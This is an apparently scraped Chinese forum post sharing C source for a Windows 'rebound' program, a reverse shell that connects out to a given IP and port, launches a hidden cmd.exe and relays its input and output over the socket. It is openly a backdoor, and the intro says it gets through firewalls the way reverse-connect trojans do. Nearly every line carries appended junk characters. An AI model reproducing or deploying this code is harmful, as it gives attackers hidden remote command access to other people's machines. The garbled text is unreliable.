这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .`RC,R`C
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/* ============================== oa7Hx<Y
Rebound port in Windows NT e@By@r&nql
By wind,2006/7 1i2O]e!
===============================*/ ^a5>`W
#include xUoY|$fI
#include |0mI3r
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#pragma comment(lib,"wsock32.lib") >4b39/BM
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void OutputShell(); CxV%/ChJ#
SOCKET sClient; 9m!fW|4
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2N]s}/l
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void main(int argc,char **argv) EUqG"h5#A{
{ kRPg^Fw"Vw
WSADATA stWsaData; ]42l:at
int nRet; P!EX;+7+x
SOCKADDR_IN stSaiClient,stSaiServer; $Plk4 o*g
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if(argc != 3) W
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{ O/nS,Ux
printf("Useage:\n\rRebound DestIP DestPort\n"); 470Pig>I8
return; IgL8u
} sn%fE
r MlNp?{_
WSAStartup(MAKEWORD(2,2),&stWsaData); 8b!_b2Za
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <Vb{QOgc;
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stSaiClient.sin_family = AF_INET; 0M?}S~p]
stSaiClient.sin_port = htons(0); W!*vO>^1W
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S y~ 1U
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |*i-Q @
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printf("Bind Socket Failed!\n"); |Oe6OCPf
return; >Mn.|:DF]&
} _NFJm(X.
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stSaiServer.sin_family = AF_INET; ojri~erJE?
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LJD"N#c
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WyP1"e^9
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tN~{Mt$-W
{ -/X-.#}-
printf("Connect Error!"); S5JnJkNn
return; uY,FugWbl
} 0dW1I|jR
OutputShell(); CfU)+20
} 5>
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void OutputShell() X9 R-GT
{ tR3hbL$W
char szBuff[1024]; P\JpE
SECURITY_ATTRIBUTES stSecurityAttributes; sp%7iNs
OSVERSIONINFO stOsversionInfo; 2k_Bo~.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4/b#$o<I?
STARTUPINFO stStartupInfo; /.r($Sg^
char *szShell; myXV~6R
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PROCESS_INFORMATION stProcessInformation; _[x(p6Xp
unsigned long lBytesRead; LPC7Bdjz
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =LR UasF
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vd~O:=)4
stSecurityAttributes.lpSecurityDescriptor = 0; 4[?Q*f!
stSecurityAttributes.bInheritHandle = TRUE; {R K#W~h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &7 ,wdG
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2}NfR8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bnlL-]]9z
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SV.*Z|"^N
stStartupInfo.wShowWindow = SW_HIDE; .D :v0Zm}m
stStartupInfo.hStdInput = hReadPipe; 1||e!W
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >,DR{A2hSB
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GetVersionEx(&stOsversionInfo); 8)i\d`
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switch(stOsversionInfo.dwPlatformId) vjHbg#0 %
{ .m<-)Kx
case 1: /F\7_
szShell = "command.com"; KT3[{lr
break; E( TY%wO
default: .8"o&%$`V
szShell = "cmd.exe"; .N%$I6w
break; @-hy:th#
} lB-Njr
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !l'Zar
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send(sClient,szMsg,77,0); @gZ%>qe
while(1) Cnn,$R=/s
{ YXmLd'F^3
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1r;Q5[@
if(lBytesRead) zNBG;\W
{ m8FKr/Z-
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'HOt?lpu!
send(sClient,szBuff,lBytesRead,0); &R 0BuFL8
} h322^24-2
else z8gp<5=
{ A>X#[qx
lBytesRead=recv(sClient,szBuff,1024,0); U7{,
*
if(lBytesRead<=0) break; #*~#t4S-
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -`rz[";n
} U2G\GU1 X
} kg_TXB
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return; u\6:Txqq
}